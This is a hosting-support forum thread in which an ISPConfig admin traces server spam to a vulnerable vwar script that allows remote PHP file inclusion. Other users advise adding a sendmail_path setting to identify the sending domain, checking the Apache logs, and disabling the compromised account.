After some googling something like this should be in the vhost file
to know which domain is giving the problem???

php_admin_value sendmail_path "/usr/sbin/sendmail -t -i -fUSER at example.com"

maybe for future updates of ISPCONFIG??

Are there other sollutions??

<b>Biggest problem is I can not find the website which has the bad script??!!!</b>

[falko]

Seems like someone is abusing a contact form, guestbook, etc. on one of your web sites to send spam...

[rayit]

I can not find which web is causing the problem.

[falko]

You could check your Apache's access log.

[rayit]

can find nothing in the apache log files

maybe have a look?

http://www.rayit.com/syslog

and

http://www.rayit.com/ispconfig_access_log

please have a look for me...

Seems to be the problem, I think.

Turn him off asap and ask user to resolve.

[till]

I can only agree to Norman, turn the account off as soon as possible, e.g. with an .htaccess file. Your spam problem seems to be only the pike of the iceberg. The script seems to allow execution of external PHP code provided by an URL to the variable vwar_root.

[rayit]

I chmod 000 the files and made user root
hopefully if user will update to newest release problems will be fixed..

Will point the webmaster of the site to

http://www.vwar.de/

various security leaks which could allow malicious users to include a (remote) file and eg. execute php commands on the server hosting vwar

I think I have the same problem. Sorry for the lame question, but where do I go to look at the apache log? I'm running Ubuntu.
